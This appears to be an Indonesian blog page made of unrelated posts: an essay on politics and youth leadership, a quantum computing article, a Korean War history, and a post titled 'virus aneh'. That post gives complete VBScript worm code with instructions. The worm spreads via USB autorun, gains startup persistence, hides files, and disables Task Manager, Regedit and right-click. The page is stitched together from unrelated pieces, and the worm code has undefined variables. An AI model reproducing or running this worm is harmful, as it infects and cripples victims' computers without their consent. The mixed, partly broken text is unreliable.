tujuan yang satu.
Sejarah, dalam pandangan politik, lebih terpusat pada fase kedua
dibandingkan dengan fase pertama. Karena saat itu jama'ah Islam telah
menemukan kediriannya, dan telah hidup dalam era kebebasan dan
independensi. Ia juga telah meraih 'kedaulatan'nya, secara penuh.
Politik juga berkaitan dengan kenegarawanan karena sesungguhnya yang
memimpin negri ini adalah negarawan sejati, negarawan sudah pasti politisi
dan politisi belum tentu negarawan, lalu apa yang dimaksud negarawan?
Politik bisa diterapkan dalam kehidupan sehari-hari karena politik
adalah seni berhubungan sesama manusia jadi politik sistem hubungan
sesama manusia juga hubungan manusia dengan negara.
Perjuangan panjang Bangsa Indonesia untuk melepaskan diri dari
penjajahan
yang berlangsung selama tiga setengah abad pada gilirannya mencapai
kemerdekaan Negara Kesatuan Republik Indonesia pada tanggal 17
Agustus
1945. Negara baru ini dipimpin oleh para pemimpin yang didominasi oleh
pemuda, seperti pasangan dwi-tunggal Soekarno dan Muhammad Hatta.
Kepemimpinan pemuda dalam pemerintahan Indonesia yang baru berdiri
tersebut
merupakan konsekuensi atas perjuangan kemerdekaan yang sebelumnya
selalu
didominasi oleh pemuda. Inilah peran pemuda sebagai cadangan keras
(iron
stock), yang artinya pemuda tersedia untuk mengisi peran-peran strategis
bagi
kepentingan bangsa dan negara, yang diantaranya adalah peran
kepemimpinan
nasional dalam pemerintahan.
Dalam perjalanan pasca kemerdekaan Bangsa dan Negara Indonesia
mengalami pasang-surut kehidupan kebangsaan dan kenegaraan. Salah
satu
penyebabnya adalah adanya krisis pemimpin pemuda yang
menginternaslisasi
karakter negarawan dalam kepemimpinan nasional.

Maret 06, 2011

virus aneh

kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Sekarang buka Notepad-nya. Copy kode berikut :


'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,cacing,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe c4c1ng.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- c4c1ng.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- c4c1ng.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\c4c1ng.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\c4c1ng.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\c4c1ng.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set cacing = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE CACING v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE CACING v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
cacing.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
cacing.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
cacing.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
cacing.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//-- kalau kode dibawah ini fungsinya silahkan liat sendiri--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : c4c1ng.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

teknologi masa depan

KECEPATAN komputer mengolah informasi sangat ditentukan oleh prosesornya. Dalam teknologi digital silikon (konvensional), untuk meningkatkan kecepatan prosesor kerapatan transistor dalam cip prosesor harus ditingkatkan. Upaya untuk meningkatkan kerapatan transistor ini tidak mungkin dilakukan terus menerus tanpa batas karena suatu saat pasti akan mencapai maksimum, yaitu ketika ukuran transistor sudah tidak dapat diperkecil lagi. Pada keadaan ini perlu ditemukan teknologi baru, misalnya teknologi kuantum, untuk meningkatkan kecepatan prosesor.Istilah kuantum (quantum) belakangan ini mulai populer dan sering digunakan dalam berbagai konsep yang memperkenalkan suatu paradigma baru, misalnya quantum learning, quantum teaching, quantum business, dan sebagainya. Kiranya tidak berlebihan jika dikatakan bahwa istilah kuantum pertama kali diperkenalkan oleh Max Planck, seorang fisikawan Jerman, dalam teori kuantum cahaya untuk menjelaskan radiasi benda hitam. Secara tak langsung teori inilah yang melahirkan fisika kuantum yang mempunyai efek dominan pada sistem dalam skala atomik.
Sejalan dengan perkembangan ilmu fisika dan informasi, belakangan ini telah mulai dikembangkan komputasi kuantum yang menggunakan prinsip-prinsip fisika kuantum. Komputasi kuantum ini nantinya diharapkan dapat melahirkan teknologi kuantum yang memungkinkan terobosan teknologi untuk mewujudkan komputer masa depan (komputer kuantum) yang bekerja dengan cara yang sama sekali berbeda dengan komputer konvensional yang dikenal saat ini.
Apa yang membedakan komputer kuantum dari komputer konvensional (digital)? Kita dapat mulai dengan mengamati secuil satuan informasi yang disebut satu bit, yaitu satu sistem fisis yang dapat dinyatakan dalam satu di antara dua keadaan (dua nilai logik) yang berbeda: ya atau tidak, benar atau salah, 0 atau 1. Satu bit informasi dapat diberikan oleh dua keadaan polarisasi cahaya atau dua keadaan elektronik suatu atom. Namun, jika satu atom dipilih untuk merepresentasikan satu bit informasi maka menurut mekanika kuantum di samping kedua keadaan elektronik yang berbeda, atom tersebut dapat pula berada dalam keadaan superposisi (paduan) dua keadaan tersebut. Atom tersebut dapat berada pada keadaan 0 dan 1 secara serentak. Secara umum, satu sistem kuantum dengan dua keadaan atau quantum bit (qubit) dapat dibuat berada dalam suatu keadaan superposisi dari kedua keadaan logiknya.
Perhatikan perbandingan berikut. Register konvensional tiga bit dalam satu saat hanya dapat menyimpan satu dari 8 kemungkinan keadaan yang berbeda seperti: 000, 001, 010, 011, 100, 101, 110, dan 111. Sebaliknya, suatu register kuantum tiga qubit dalam satu saat dapat menyimpan 8 kemungkinan keadaan yang berbeda tersebut secara serentak sebagai suatu superposisi kuantum. Jika jumlah qubit terus ditambahkan pada register maka kapasitas penyimpanan keadaan (informasi) dalam register akan meningkat secara eksponensial, yaitu secara serentak 3 qubit dapat menyimpan 8 keadaan berbeda, 4 qubit dapat menyimpan 16 keadaan berbeda, dan seterusnya sehingga secara umum N qubit dapat menyimpan sejumlah 2N keadaan berbeda.
Sekali suatu register disiapkan dalam suatu superposisi dari keadaan-keadaan yang berbeda, operasi-operasi pada semua keadaan itu dapat dilakukan secara bersamaan. Sebagai contoh, jika qubit-qubit tersimpan dalam atom-atom, pulsa laser yang diatur secara tepat dapat mempengaruhi keadaan-keadaan elektronik atom dan mengubah superposisi awal menjadi superposisi lain yang berbeda. Selama perubahan tersebut setiap keadaan dalam superposisi awal terpengaruh sehingga dapat dihasilkan suatu komputasi masif secara paralel dalam satu keping hardware kuantum.
Suatu komputer kuantum dalam satu langkah komputasi dapat melakukan operasi matematis pada 2N input berlainan yang tersimpan dalam superposisi koheren N qubit. Untuk melakukan hal yang sama, suatu komputer konvensional harus mengulang operasi sejumlah 2N kali atau harus digunakan 2N prosesor konvensional yang bekerja bersamaan. Komputer kuantum menawarkan peningkatan yang sangat luar biasa dalam penggunaan dua sumber daya komputasi utama, yaitu waktu dan memori.
Tahap awal menuju gerbang logika kuantum dan jaringan kuantum sederhana adalah usaha mengontrol fenomena kuantum dalam suatu eksperimen. George Johnson dari New York Times melaporkan bahwa di Los Alamos, USA, Dr Raymond Laflamme dan Dr Emanuel Knill sedang melakukan eksperimen yang mengaplikasikan komputasi kuantum dengan menggunakan NMR (nuclear magnetic resonance) yang sebelumnya sering digunakan untuk memetakan struktur molekul berdasarkan respons atom-atom penyusunnya terhadap gelombang elektromagnetik. Teknologi serupa ini, magnetic resonance imaging (MRI) sudah cukup lama dan cukup banyak digunakan di rumah sakit, yaitu untuk melakukan scanning pada jaringan tubuh manusia.
Dalam eksperimen yang telah dilakukan, lima qubit disimpan dalam spin-spin inti lima atom yang menyusun suatu molekul yang disebut asam kroton (crotonic acid) yang disintesis secara khusus oleh ahli kimia Los Alamos, Dr Rudy Martinez. Spin merupakan besaran intrinsik dalam fisika kuantum, secara analog digambarkan sebagai efek yang timbul dari gerak putar seperti gasing yang dapat berinteraksi dengan medan magnet. Jika gerak putar searah jarum jam dinyatakan sebagai keadaan spin down atau 0, maka gerak putar dalam arah berlawanan jarum jam dinyatakan sebagai keadaan spin up atau 1.
Mula-mula suatu sampel asam kroton yang berisi sekitar 1021 (satu milyar trilyun) molekul diletakkan di dalam inti spektrometer NMR. Sejumlah nitrogen dan helium cair digunakan untuk mendinginkan kumparan superkonduktor NMR untuk menghasilkan medan magnet yang sangat kuat.
Pada awal eksperimen, spin inti-inti atom dalam molekul asam kroton berorientasi ke segala arah secara acak. Melalui keyboard komputer yang terhubung ke NMR, peneliti meratakan arah spin dengan medan elektromagnetik, hanya saja hasilnya tidak sepenuhnya rapi.
Medan magnet yang kuat dalam NMR hanya dapat menyebabkan sebagian kecil, sekitar 1013 (sepuluh trilyun) molekul, mempunyai orientasi spin inti yang dapat dinyatakan sebagai 11111. Molekul-molekul homogin inilah yang digunakan dalam komputasi kuantum. Hal ini dapat dilakukan sebab setiap spin dari kelima inti dalam molekul tersebut beresonansi pada frekuensi yang berbeda.
Dengan menggunakan pulsa gelombang radio peneliti dapat memilih spin inti tertentu, misalnya inti kedua, dan menggoncangkannya serupa bel sehingga semua spin inti kedua dari sekitar 10 trilyun molekul tersebut berdenting secara sinkron. Jika pulsa gelombang radio diatur dalam selang waktu yang tepat, spin inti-inti kedua dapat diputar ke arah berlawanan, disimbolkan sebagai keadaan 0. Pulsa lain dengan karakteristik sama akan mengembalikan orientasi spin inti-inti kedua ke arah semula atau keadaan 1. Sebaliknya, pulsa dengan selang waktu setengah kali akan menyebabkan spin inti-inti tersebut berada dalam superposisi kuantum: secara bersamaan pada keadaan 1 dan 0.
Yang digambarkan di atas tak lain daripada suatu saklar kuantum. Suatu molekul dapat digunakan untuk melakukan perhitungan sebab spin inti-inti atomnya, seperti saklar-saklar kecil di dalam cip komputer, dapat berinteraksi satu terhadap yang lain: suatu pulsa gelombang radio akan menyebabkan spin inti tertentu berubah dari keadaan 1 ke 0 atau sebaliknya. Di dalam komputer digital susunan demikian ini dikenal sebagai gerbang logika, komponen dasar untuk suatu komputasi. Serangkaian gerbang logika memungkinkan suatu komputasi dapat dilakukan.
Berbekal keberhasilan dan pengetahuan yang diperoleh dari penelitian sebelumnya, kelompok peneliti di Los Alamos melakukan penelitian komputasi kuantum dengan menggunakan 10 qubit. Dalam penelitian ini mereka melakukan koreksi kesalahan kuantum, salah satu komponen yang sangat penting bagi perkembangan teknologi kuantum.
Dapatkah komputer kuantum direalisasikan dalam waktu dekat merupakan suatu pertanyaan yang sulit dijawab. Lahirnya teknologi baru selalu membawa perubahan yang perlu dicermati dan diantisipasi. Yang pasti, teknologi kuantum untuk mewujudkan komputer kuantum akan membawa paradigma baru dalam dunia komputer, baik dari segi hardware maupun software (algoritma).

sejarah perang korea

Perang Korea (bahasa Korea: 한국전쟁), dari 25 Juni 1950 sampai 27 Juli 1953, adalah sebuah konflik antara Korea Utara dan Korea Selatan. Perang ini juga disebut "perang yang dimandatkan" (bahasa Inggris proxy war) antara Amerika Serikat dan sekutu PBB-nya dan komunis Republik Rakyat Cina dan Uni Soviet (juga anggota PBB). Peserta perang utama adalah Korea Utara dan Korea Selatan. Sekutu utama Korea Selatan termasuk Amerika Serikat, Kanada, Australia, dan Britania Raya, meskipun banyak negara lain mengirimkan tentara di bawah bendera PBB.
Sekutu Korea Utara, seperti Republik Rakyat Tiongkok, menyediakan kekuatan militer, sementara Uni Soviet yang menyediakan penasihat perang dan pilot pesawat, dan juga persenjataan, untuk pasukan Tiongkok dan Korea Utara. Di Amerika Serikat konflik ini diistilahkan sebagai aksi polisional di bawah bendera PBB daripada sebuah perang, dikarenakan untuk menghilangkan keperluan kongres mengumumkan perang.

Latar belakang

Terminologi

Di Amerika Serikat, perang ini secara resmi dideskripsikan sebagai aksi polisional karena tidak adanya deklarasi perang resmi dari Kongres AS. Dalam bahasa sehari-hari, perang ini juga sering disebut Perang yang Terlupakan dan Perang yang Tidak Diketahui karena dianggap sebagai urusan PBB, berakhir dengan kebuntuan (stalemate), sedikitnya korban dari pihak AS, dan kurang jelasnya isu-isu menjadi penyebab perang ini, bila dibandingkan dengan Perang Vietnam dan Perang Dunia II.[5][6]
Di Korea Selatan, perang ini biasa disebut sebagai Perang 6-2-5 (yuk-i-o jeonjaeng) yang mencerminkan tanggal dimulainya perang pada 25 Juni. Sementara itu, di Korea Utara, perang ini secara resmi disebut Choguk haebang chǒnjaeng ("perang pembebasan tanah air"). Perang Korea juga disebut Chosǒn chǒnjaeng ("Perang Joseo", Joseon adalah sebutan Korea Utara untuk tanah Korea).
Perang Korea secara resmi disebut Chao Xian Zhan Zheng (Perang Korea) di Republik Rakyat Cina. Kata "Chao Xian" merujuk ke Korea pada umumnya, dan secara resmi Korea Utara.
Istilah Perang Korea juga dapat menyatakan pertempuran sebelum invasi maupun setelah gencatan senjata dilakukan.[7]

 Pendudukan Jepang (1910–1945)

Setelah mengalahkan Dinasti Qing Cina pada Perang Sino-Jepang Pertama (1894–96), Kekaisaran Jepang menduduki Kekaisaran Korea (1897–1910) yang dipimpin oleh Kaisar Gojong.[8] Satu dekade kemudian, saat mengalahkan Kekaisaran Rusia pada Perang Rusia-Jepang (1904–05), Jepang menjadikan Korea sebagai protektorat-nya melalui Perjanjian Eulsa di tahun 1905, kemudian menganeksasinya melalui Perjanjian Aneksasi Jepang-Korea di tahun 1910.[9][10]
Sejak saat itu banyak kaum nasionalis dan intelektual yang melarikan diri. Beberapa dari mereka membentuk Pemerintahan Sementara Korea, dipimpin oleh Syngman Rhee, di Shanghai pada tahun 1919, dan menjadi pemerintahan dalam pengasingan yang hanya diakui oleh sedikit negara. Antara tahun 1919 hingga 1925, kaum komunis Korea memulai pemberontakannya terhadap Jepang.[8][11]
Korea dianggap sebagai bagian dari Kekaisaran Jepang bersama dengan Taiwan, yang merupakan bagian dari Kawasan Kemakmuran Bersama Asia Timur Raya; pada tahun 1937, Gubernur-Jenderal Minami Jiro memerintahkan dilakukannya asimilasi budaya Jepang terhadap 23,5 juta penduduk koloni dengan melarang bahasa, sastra, dan budaya Korea, dan menggantinya dengan budaya Jepang, serta memerintahkan orang Korea mengganti nama mereka menjadi nama Jepang. Pada tahun 1938, pemerintahan kolonial menjalankan sistem kerja paksa; hingga 1939, 2,6 juta orang Korea bekerja di luar negeri sebagai tenaga kerja paksa; pada tahun 1942, pria-pria di Korea dipaksa menjadi tentara Jepang.
Sementara itu di Cina, kelompok nasionalis Tentara Revolusi Nasional dan kelompok komunis Tentara Pembebasan Rakyat mengorganisir (sayap-kanan dan sayap-kiri) patriot Korea yang mengungsi. Kelompok Nasionalis yang dipimpin oleh Yi Pom-Sok bertempur di Pertempuran Burma (Desember 1941 — Agustus 1945). Kelompok komunis, berada dibawah pimpinan Kim Il-sung, bertempur melawan Jepang di Korea.
Selama Perang Dunia II, tentara Jepang memanfaatkan makanan, ternak, dan logam dari Korea untuk tujuan perang. Tentara Jepang di Korea meningkat dari 46.000 (1941) ke 300.000 personel (1945). Tentara Jepang juga merekrut paksa 2,6 juta tenaga kerja yang dikontrol oleh polisi kolaborasionis Korea; lebih dari 723.000 orang dikirim ke luar negeri dan juga ke kota-kota di Jepang. Pada Januari 1945, 32% tenaga kerja Jepang adalah orang Korea; pada Agustus 1945, ketika Amerika Serikat menjatuhkan bom atom di Hirosima, 25% diantara mereka tewas.[11] Pendudukan Jepang di Korea dan Taiwan itu tidak diakui oleh negara kekuatan dunia pada akhir perang.
Pada tahun berikutnya, Amerika Serikat dan Soviet membuat perjanjian untuk membagi Korea menjadi dua, tanpa melibatkan pihak Korea. Korea saat itu diwakili oleh kolonel Amerika Serikat Dean Rusk dan Charles Bonesteel.[12] Dua tahun sebelumnya, di Konferensi Kairo (November 1943), Nasionalis Cina, Britania Raya, dan Amerika Serikat memutuskan bahwa Korea harus menjadi negara merdeka, "pada waktunya"; Stallin pun setuju. Pada bulan Februari 1945, di Konferensi Yalta, Sekutu gagal mendirikan perwalian Korea sebagaimana diwacanakan pada tahun 1943 oleh presiden Amerika Serikat Roosevelt dan Perdana Menteri Inggris Winston Churchill.
Sesuai perjanjian AS-Soviet, Uni Soviet mendeklarasikan perang pembebasan Korea dari Jepang pada tanggal 9 Agustus 1945, dan, pada tanggal 10 Agustus, Tentara Merah berhasil menduduki Korea bagian utara, dengan pendaratan amfibi di bagian utara paralel ke-38. Soviet juga berhasil mengusir tentara Jepang dan masuk melalui Manchuria.[11][13] Tiga minggu kemudian, pada 8 September 1945, Letnan Jendral John R. Hodge dari Amerika Serikat tiba di Incheon untuk menerima penyerahan Jepang di wilayah Selatan paralel ke-38.[14]

[sunting] Pemisahan Korea (1945)

Pada Konferensi Potsdam (Juli—Agustus 1945), Sekutu secara sepihak memutuskan untuk membagi Korea tanpa melakukan konsultasi dengan pihak Korea sendiri. Hal ini tidak sesuai dengan Konferensi Kairo (November 1943), ketika Churchill, Chiang Kai-shek, dan Franklin D. Roosevelt mendeklarasikan bahwa Korea harus menjadi negara bebas dan merdeka.[8][14][15][16] Selain itu, sebelumnya, Konferensi Yalta (Februari 1945) mengizinkan Stalin membangun "zona penyangga" Eropa — negara satelit yang berada di bawah Moskwa[17] — sebagai balasan karena telah membantu Amerika Serikat di Perang Pasifik melawan Jepang.[17]
Pada tanggal 10 Agustus, Tentara Merah menguasai bagian utara semenanjung Korea, sebagaimana yang telah disepakati, dan pada tanggal 26 Agustus berhenti di paralel utara ke-38 selama 3 minggu untuk menunggu kedatangan pasukan Amerika Serikat di Selatan.[8] Pada hari itu pula, dengan semakin dekatnya jadwal kapitulasi Jepang (15 Agustus), Amerika Serikat ragu Uni Soviet akan mengakui peran mereka dalam "komisi bersama", perjanjian pendudukan Korea yang disponsori Amerika Serikat. Sebulan sebelumnya, untuk memenuhi persyaratan politik-militer Amerika Serikat, Kolonel Dean Rusk dan Charles Bonesteel III membagi semenanjung Korea menjadi dua di garis lintang 38 derajat setelah dengan terburu-buru (tiga puluh menit) memutuskan bahwa Daerah Pendudukan AS di Korea harus setidaknya memiliki dua pelabuhan.[14][18][19][20]
Untuk menjelaskan mengapa zona demarkasi (paralel ke-38) terlalu selatan, Rusk mengatakan, "bahkan meskipun perbatasan itu lebih ke utara daripada yang dapat secara realistis dicapai oleh pasukan Amerika, dalam hal terjadi perselisihan Soviet... kami merasa penting untuk menyertakan ibu kota Korea sebagai tanggung jawab pasukan Amerika," terutama ketika "dihadapkan dengan kurangnya jumlah pasukan AS yang tersedia, juga faktor ruang dan waktu, yang mengakibatkan sulitnya pasukan mencapai lebih jauh ke utara sebelum pasukan Soviet sampai terlebih dahulu.”[17] Pasukan Soviet setuju dengan demarkasi itu.
Dengan berkuasanya pemerintahan militer, Jenderal John R. Hodge secara langsung mengontrol Korea Selatan (USAMGIK 1945–48).[21] Ia memperkuat kontrolnya dengan cara: pertama, mengembalikan kekuasaan administrator-administrator kunci kolonial Jepang dan juga polisi kolabolatornya; kedua menolak pengakuan USAMGIK terhadap Republik Rakyat Korea (Agustus–September 1945)—pemerintahan sementara Korea yang mulai berkuasa di semenanjung Korea—karena dianggap sebagai komunis. Kebijakan AS, yang menolak pemerintahan populer di Korea, menimbulkan gejolak dalam masyarakat, dan mengakibatkan munculnya Perang Saudara Korea.[9] Pada 3 September 1945, Letnan Jendral Yoshio Kozuki, komandan, Tentara Wilayah ke-17 Jepang, menghubungi Hodge, mengatakan bahwa tentara Soviet mulai bergerak ke arah selatan lintang 38 derajat di Kaesong. Hodge mempercayai keakuratan informasi itu.[14]
Pada Desember 1945, Korea di bawah Komisi Bersama AS-Uni Soviet menyetujui Konferensi Menteri Luar Negeri Moskwa (Oktober 1945), lagi-lagi tanpa melibatkan pihak Korea. Komisi tersebut memutuskan bahwa negara tersebut akan merdeka setelah lima tahun di bawah kepemimpinan dewan perwalian.[8][22] Rakyat Korea marah dan memulai revolusi di Selatan, beberapa hanya melakukan protes, sisanya mengangkat senjata;[9] untuk menahannya, USAMGIK melarang demonstrasi (8 Desember 1945) dan mencabut perlindungan hukum terhadap Pemerintahan Revolusioner dan Komite Rakyat Republik Rakyat Korea pada 12 Desember 1945.
Penindasan kedaulatan ini mengakibatkan 8.000 pekerja kereta api berunjuk rasa pada 23 September 1946 di Pusan, yang kemudian menyebar ke seluruh wilayah Korea yang dikuasai AS; USAMGIK pun kehilangan kekuasaannya. Pada 1 Oktober 1946, polisi Korea membunuh tiga mahasiswa dalam "Pemberontakan Daegu"; rakyat menyerang balik dan membunuh 38 polisi. Demikian pula pada tanggal 3 Oktober, sekitar 10.000 orang menyerang kantor polisi Yeongcheon, membunuh tiga anggota polisi dan melukai 40 orang lainnya; di tempat lain, massa membunuh 20 tuan tanah dan pejabat Korea Selatan yang pro-Jepang.[15] USAMGIK mendeklarasikan hukum perang untuk mengontrol Korea Selatan.
Kelompok sayap-kanan Representative Democratic Council, yang dipimpin oleh nasionalis Syngman Rhee, menentang perwalian Soviet-Amerika di Korea, berpendapat bahwa setelah tiga puluh lima tahun (1910–45) dikuasai pemerintah kolonial Jepang (pemerintah asing), rakyat Korea menolak dipimpin pemerintahan asing lainnya, termasuk AS dan Soviet. Untuk mendapatkan keuntungan dari memanasnya suhu perpolitikan, AS keluar dari Persetujuan Moskwa—dan membentuk pemerintahan sipil anti-komunis di Korea Selatan. AS juga melakukan pemilu yang kemudian ditentang, dan diboikot oleh Uni Soviet untuk memaksa AS mematuhi Persetujuan Moskwa.[8][23][24][25]
Resultan pemerintah anti-komunis Korea Selatan yang mengumumkan secara resmi konstitusi politik nasional (17 July 1948) memilih Syngman Rhee (20 July 1948) sebagai presiden dan mendirikan Republik Korea Selatan pada 15 Agustus 1948.[26] Demikian juga di Zona Pendudukan Rusia, Uni Soviet mendirikan pemerintahan komunis Korea Utara[8] yang dipimpin oleh Kim Il-sung.[7] Presiden Korea Selatan Syngman Rhee mengusir komunis dan anggota kelompok sayap kiri dari panggung perpolitikan nasional. Merasa dicabut haknya, mereka pergi ke daerah perbukitan dan bersiap melakukan perang gerilya melawan pemerintahan Republik Korea yang disokong oleh Amerika Serikat.[7]
Para nasionalis, baik Syngman Rhee dan Kim Il-Sung, bermaksud menyatukan Korea, namun di bawah sistem politik yang dianut masing-masing pihak.[8] Dengan persenjataan yang lebih baik, Korea Utara berhasil meningkatkan ketegangan di perbatasan, dan kemudian menyerang setelah sebelumnya melakukan provokasi. Sebaliknya, Korea Selatan, dengan bantuan terbatas dari Amerika Serikat, tidak mampu menandinginya. Pada awal masa Perang Dingin itu, pemerintah AS menganggap semua komunis dari bangsa apapun adalah anggota blok Komunis yang dikontrol atau setidaknya mendapat pengaruh dari pemerintahan Moskwa; akibatnya AS mengaggap perang sipil di Korea sebagai manuver hegemoni dari Uni Soviet.
Tentara AS mundur dari Korea tahun 1949,[27] meninggalkan tentara Korea Selatan dengan sedikit persenjataan. Di lain pihak, Uni Soviet memberikan bantuan persenjataan dalam jumlah banyak ke tentara Korea Utara dan mendukung rencana invasi Kim Il-Sung.

Jalannya perang

[sunting] Peran Joseph Stalin dan Mao Zedong

Professor Shen Zhihua, yang menggunakan dana pribadinya untuk membeli arsip-arsip Uni Soviet, banyak menemukan telegram-telegram antara Moskwa dengan Beijing sebelum perang dimulai. Berikut ini adalah ikhtisar singkat dari sejumlah telegram antara Mao dan Stalin.
  • Pada 1 Oktober 1950 Kim Il-sung mengirim telegram ke Cina, meminta intervensi militer. Pada hari yang sama, Mao Zedong menerima telegram Stalin, yang juga meminta Cina mengirim pasukan ke Korea.
  • Pada 5 Oktober 1950, di bawah tekanan Mao Zedong dan Peng Dehuai, Komite Pusat Komunis Cina memutuskan untuk melakukan intervensi militer di Korea.
  • Pada 11 Oktober 1950 Stalin dan Zhou Enlai mengirim telegram yang ditandatangani bersama kepada Mao, yang menyatakan:
  1. Tentara Cina yang dikirimkan kurang persiapan dan tidak dilengkapi tank dan artileri; dibutuhkan waktu dua bulan sebelum bantuan perlindungan udara sampai di sana.
  2. Dalam jangka waktu satu bulan, tentara dengan perlengkapan memadai harus sudah siap di posisinya masing-masing; bila tidak, maka pasukan AS akan berjalan lebih jauh ke utara dan mengalahkan Korea Utara.
  3. Pasukan dengan perlengkapan yang memadai harus dikirim ke Korea dalam jangka waktu enam bulan, bila lebih, maka Korea Utara diperkirakan telah diduduki AS, sehingga bantuan tentara akan sia-sia.
  • Pada 12 Oktober 1950, pukul 15:30 waktu Beijing, Mao mengirim telegram kepada Stalin melalui duta besarnya: Saya setuju dengan keputusan Anda (Stalin dan Zhou).
  • Pada 12 Oktober 1950, pukul 22:12 waktu Beijing, Mao mengirim telegram lain: Saya setuju dengan telegram 10 Oktober, pasukan saya akan tetap di tempatnya, saya telah mengeluarkan perintah untuk menunda rencana ke Korea.
  • Pada 12 Oktober 1950, Stalin mengirim telegram ke Kim Il-sung, mengatakan: tentara Rusia dan Cina tidak akan datang.
  • Pada 13 Oktober, duta besar Rusia di Beijing mengirim telegram kepada Stalin, mengatakan: Mao Zedong telah memberitahu kepadanya bahwa Komite Pusat Komunis Cina telah menyetujui keputusan pengiriman pasukan ke Korea.[28]

Korea Utara menyerang (Juni 1950)

Meskipun PBB menerima banyak pesan yang memberitahu bahwa Korea Utara akan melakukan invasi, PBB menolak semuanya. Sebelum perang, pada awal tahun 1950, perwira CIA stasiun Cina Douglas Mackiernan menerima ramalan intelejen Cina dan Korea Utara yang meramalkan bahwa tentara Korut akan menyerang ke Selatan.
Dengan alasan membalas provokasi Korea Selatan, Tentara Korea Utara (tentara Korut) menyebrangi paralel ke-38, dibantu tembakan artileri, Minggu pagi tanggal 25 Juni 1950.[8] tentara Korut mengatakan bahwa pasukan Republik Korea (ROK), di bawah pimpinan "bandit pengkhianat Syngman Rhee", telah menyebrangi perbatasan "terlebih dahulu", dan mereka akan menangkap serta mengeksekusi Rhee.[14] Pada tahun-tahun sebelumnya, kedua Korea telah saling menyerang satu sama lain.
